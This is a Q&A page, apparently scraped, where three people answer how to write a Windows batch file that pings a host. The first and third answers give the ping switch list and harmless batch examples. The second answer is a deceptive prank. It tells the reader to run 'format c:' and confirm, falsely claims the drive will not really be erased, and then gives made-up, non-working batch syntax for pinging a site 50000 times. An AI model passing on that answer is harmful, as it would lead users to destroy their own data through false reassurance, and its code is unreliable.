English Deutsch Français Italiano Español Português 繁體中文 Bahasa Indonesia Tiếng Việt ภาษาไทย
All categories

3 answers

The PING command options/switches are here:
and further down I have stuck a quick example (without any switches)

Usage: ping [-t] [-a] [-n count] [-l size] [-f] [-i TTL] [-v TOS]
[-r count] [-s count] [[-j host-list] | [-k host-list]]
[-w timeout] target_name

Options:
-t Ping the specified host until stopped.
To see statistics and continue - type Control-Break;
To stop - type Control-C.
-a Resolve addresses to hostnames.
-n count Number of echo requests to send.
-l size Send buffer size.
-f Set Don't Fragment flag in packet.
-i TTL Time To Live.
-v TOS Type Of Service.
-r count Record route for count hops.
-s count Timestamp for count hops.
-j host-list Loose source route along host-list.
-k host-list Strict source route along host-list.
-w timeout Timeout in milliseconds to wait for each reply.

eg for me i have a pinger.cmd file very simple looks like:

@echo off
ping %1

The %1 is the host parameter passed when running the command e.g.
PINGER www.idg.co.nz
Could also do something like:
@echo off
:reping
ping %1
sleep 60
goto reping
In the second example the sleep command is used to 'wait' for a minute before repinging the host passed as parameter 1
You can find more specifics at the source listed below.
Source(s):
http://forums.pcworld.co.nz/archive/inde...

2006-12-03 00:05:54 · answer #1 · answered by Anonymous · 0 0

Boot from a system floppy. Make sure that command.com and ping.com and format.com are all on the floppy. Boot from this floppy. Type format c: and it will ask for confirmation. Say yes. This will not really format your hard drive if you have ping on the floppy. Then create a file with a bat extention and add the statement

ping(x=1 to 50000(mysite.com)next x);

You can change the value of the 50000 depending on how many times you want to ping and the value of mysite.com to whatever site you want to ping.

2006-12-03 00:10:11 · answer #2 · answered by Kevin 4 · 0 0

Simplest way to create a batch file to ping would be to:
1. open notepad
2. type in ping domain.com (or ip)
3. Click on file, save as
4. add (no quotes) ".bat" at the end of the filename
5. save it and there is your batch file to ping.

2006-12-03 00:12:39 · answer #3 · answered by John K 3 · 0 0

fedest.com, questions and answers